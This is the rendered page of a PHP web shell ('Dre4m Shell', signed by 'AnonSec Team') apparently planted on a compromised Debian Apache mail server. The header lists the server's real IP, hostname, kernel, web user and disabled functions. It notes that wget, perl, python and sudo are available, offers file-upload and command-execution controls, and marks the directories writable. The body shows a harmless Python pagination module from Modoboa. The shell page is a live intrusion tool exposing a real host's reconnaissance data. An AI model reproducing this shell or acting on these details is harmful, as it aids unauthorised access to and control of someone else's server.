Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 18.189.141.236
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib64/python3.5/site-packages/modoboa/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib64/python3.5/site-packages/modoboa/lib//paginator.py
"""
Custom pagination tools.
"""

class Page(object):

    """Class to represent a page."""

    def __init__(self, paginator, pageid, id_start, id_stop, baseurl=None):
        """Constructor."""
        self.paginator = paginator
        self.number = pageid
        self.id_start = id_start
        self.id_stop = id_stop
        self.baseurl = baseurl

        self._has_previous = None
        self._has_next = None

    @property
    def items_per_page(self):
        """The number of items in a page. (shortcut)"""
        return self.paginator.elems_per_page

    @property
    def items(self):
        """The number of items in this page."""
        return self.id_stop - self.id_start

    @property
    def has_previous(self):
        """Tell if a previous page is available or not."""
        if self._has_previous is None:
            self._has_previous = True if self.number > 1 else False
        return self._has_previous

    @property
    def previous_page_number(self):
        """Return the index of the previous page."""
        if not self.has_previous:
            return False
        return self.number - 1

    @property
    def has_next(self):
        """Tell if a next page is available or not."""
        if self._has_next is None:
            self._has_next = (
                True if self.id_stop < self.paginator.total else False
            )
        return self._has_next

    @property
    def next_page_number(self):
        """Return the index of the next page."""
        if not self.has_next:
            return False
        return self.number + 1

    @property
    def last_page(self):
        """Retrieve the id of the last page."""
        lid = self.paginator.total / self.items_per_page
        if not lid:
            return 1
        if self.paginator.total % self.items_per_page:
            lid += 1
        return lid


class Paginator(object):

    """Pagination class."""

    def __init__(self, total, elems_per_page):
        self.total = total
        self.elems_per_page = elems_per_page
        self.num_pages = total / elems_per_page
        if total % elems_per_page:
            self.num_pages += 1

    def _indexes(self, page):
        """Compute start and stop indexes."""
        id_start = self.elems_per_page * page + 1
        id_stop = id_start + self.elems_per_page - 1
        return (id_start, id_stop)

    def getpage(self, page_id):
        """Retrieve a specific page."""
        if page_id < 1:
            return None
        id_start, id_stop = self._indexes(page_id - 1)
        if id_start <= self.total:
            if id_stop >= self.total:
                id_stop = self.total
        else:
            return None
        return Page(self, page_id, id_start, id_stop)

Anon7 - 2022
AnonSec Team